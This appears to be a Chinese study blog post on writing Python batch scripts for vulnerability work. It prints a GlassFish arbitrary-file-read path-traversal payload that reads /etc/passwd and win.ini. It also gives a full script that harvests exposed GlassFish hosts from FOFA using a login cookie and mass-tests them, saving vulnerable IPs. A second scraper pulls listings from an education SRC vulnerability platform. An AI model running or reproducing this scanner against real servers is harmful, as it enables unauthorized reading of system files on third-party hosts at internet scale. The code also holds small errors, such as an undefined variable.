目录
涉及技术
学习目的
案例一:某漏洞POC验证批量脚本
漏洞信息
编写思路
实现功能
实现思路
注意事项
涉及知识点
实现代码
案例二:教育 SRC 报告平台信息提取脚本
此后如竟没有炬火,我便是唯一的光。
涉及技术
- request爬虫技术
- LXML数据提取技术
- 异常处理
- fofa使用说明
学习目的
掌握和利用公开或者0day漏洞进行批量化的收集和验证脚本开发
案例一:某漏洞POC验证批量脚本
漏洞信息
漏洞名称:应用服务器 glassfish 任意文件读取漏洞
漏洞POC:
http://localhost:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwdhttp://localhost:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini注意:Linux读取的文件是/etc/passwd文件,而windows读取的是windows的文件,例如windows/win.ini文件
编写思路
实现功能
批量的验证是否存在glassfish任意文件读取漏洞
实现思路
- 首先要筛选出glassfish的服务器的IP地址,具体实现:通过fofa搜索。搜索的语句为"glassfish" && port="4848";之后通过爬虫fofa搜索的全部结果;最后通过lxml库提取出爬取到的内容中的地址信息。
- 批量的验证存在glassfish的地址是否存在任意文件读取漏洞,对应的POC分别是上面给出的漏洞POC,分别对应着linux,和windows,通过request发起的get请求,根据请求的响应状态码来判断是否存在响应的漏洞;
注意事项
- 首先,在判断的时候(读取文件的时候)linux和windows下的文件是不一样的
- 爬虫爬取fofa的输出结果编码成utf-8,更方便观察
- 爬取fofa后面的内容的时候,需要将登录的cookie信息放入请求头中,cookie从浏览器中获取即可;
涉及知识点
requests模块
request支持http连接保持和连接池,支持使用cookie保持会话,支持文件上传,支持自动响应内容的编码,支持国际化的URL和POST数据自动编码;使用requsets可以完成浏览器可有的任何操作。
r.status_code #获取响应状态码
r.url #获取url
r.content #获取内容以二进制文本显示
r.text #获取到的内容以text文本形式显示
r.request.headers #请求头的信息
r.headers #响应头的信息
r.cookies #获取cookie信息
文件读取
在文件读取的操作中,涉及到的模式有三种,分别对应着参数w,x,a;
w:写入模式,如果文件已经存在,清空文件内容,如果文件不存在,创建文件;
x:写入模式,如果文件已经存在,抛出异常。如果文件不存在,创建文件并写入内容;
a:追加模式,不覆盖文件中的原始内容
实现代码
import sys
import time
from lxml import etree
import request
import base64
import requests
'''
url = 'http://177.20.192.18:4848/'
#linux
payload_linux = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
#windows
payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'
result_linux = requests.get(url+payload_linux)
result_windows = requests.get(url+payload_windows)
#返回的是请求之后的状态码
result_linux_status = result_linux.status_code
result_windows_status = result_windows.status_code
if result_linux_status==200 or result_windows_status==200:
print('存在Glassfish漏洞')
else:
print('不存在Glassfish漏洞')
'''
#如何实现批量化的漏洞的检测
'''
1. 首先获取到可能存在漏洞的地址信息,借助FOFA进行获取目标
2. 将请求的数据进行筛选
3. 批量请求地址信息看漏洞是否存在-单线程和多线程
'''
#payload = '"glassfish" && port="4848"'
def fofa_search(search_data,page):
headers = {
'cookie':'_fofapro_ars_session=自己的fofa的cookie'
}
for req_page in range(1,page+1):
url = 'https://fofa.info/result?'+'page='+str(req_page)+'qbase64='
payload = str(base64.b64encode(payload.encode('utf-8')).decode('utf-8'))
#print(payload)
url = url+payload
#print(url)
try:
print('正在提取第'+str(req_page)+'页')
get_result = requests.get(url,headers=headers).content
#print(get_result.decode('utf-8'))
soup = etree.HTML(get_result)
ip_data = soup.xpath('//div[@class="re-domain"]/a[@target="_blank"]/@href')
ipdata = '\n'.join(ip_data)
print(ip_data)
with open(r'ip.txt','a+') as f:
f.write(ipdata+'\n')
f.close()
time.sleep(0.5)
except Exception as e:
pass
def check_vuln():
# linux
payload_linux = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
# windows
payload_windows = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'
for ip in open('ip.txt存放的路径'):
ip.replace('\n','')
windows_url = ip+payload_windows
linux_url = ip+payload_linux
try:
vuln_code_linux = requests.get(linux_url).status_code
vuln_code_windows = requests.get(windows_url).status_code
print('check ----> '+ip)
if vuln_code_windows ==200 or vuln_code_linux == 200:
with open(r'vuln.txt','a+') as f:
f.write(ip+'\n')
f.close()
time.sleep(0.5)
except Exception as e:
pass
if __name__ == '__main__':
search = sys.argv[1]
page = sys.argv[2]
fofa_search(search,int(page))
check_vuln()案例二:教育 SRC 报告平台信息提取脚本
使用爬虫爬取页面信息,通过lxml提取漏洞信息,读取n页的漏洞信息
这里本人在学习的时候,遇到了一个问题,没有解决掉。先上代码:
import requests
from lxml import etree
def src_info(want_page):
for page in range(1,int(want_page)+1):
url = 'https://src.sjtu.edu.cn/list/?page='+str(page)
result = requests.get(url).content
#print(result.decode('utf-8'))
soup = etree.HTML(result)
src_info = soup.xpath('//td/a/text()')
results = '\n'.join(src_info)
results = results.split()
print(results)
for edu in results:
with open(r'src_edu.txt','a+',encoding='utf-8') as f:
f.write(edu+'\n')
f.close()
if __name__ =='__main__':
src_info(10)这是学习后写出来的代码,本人遇到的问题是:在使用lxml去提取信息的时候呢,提取到了不需要的信息。

如上图所示,在提取到的信息中存在着作者的昵称等信息,我知道自己错误的地方在哪里,但是不知道如何去修改。应该改正的地方是 src_info = soup.xpath('//td/a/text()')

所以应该修改的地方是//td的值,可是td的值为空,所以不知道如何修改,百度之后,发现了其实可以用contains函数,我便将我的代码修改成了src_info = soup.xpath('//td/a[contains(@herf,"/post")]/text()') 还是不正确,恳请知道的大佬指点一下。
最终实现的结果如下,可以说是提取出来了,但是没完全提取出来 :)

















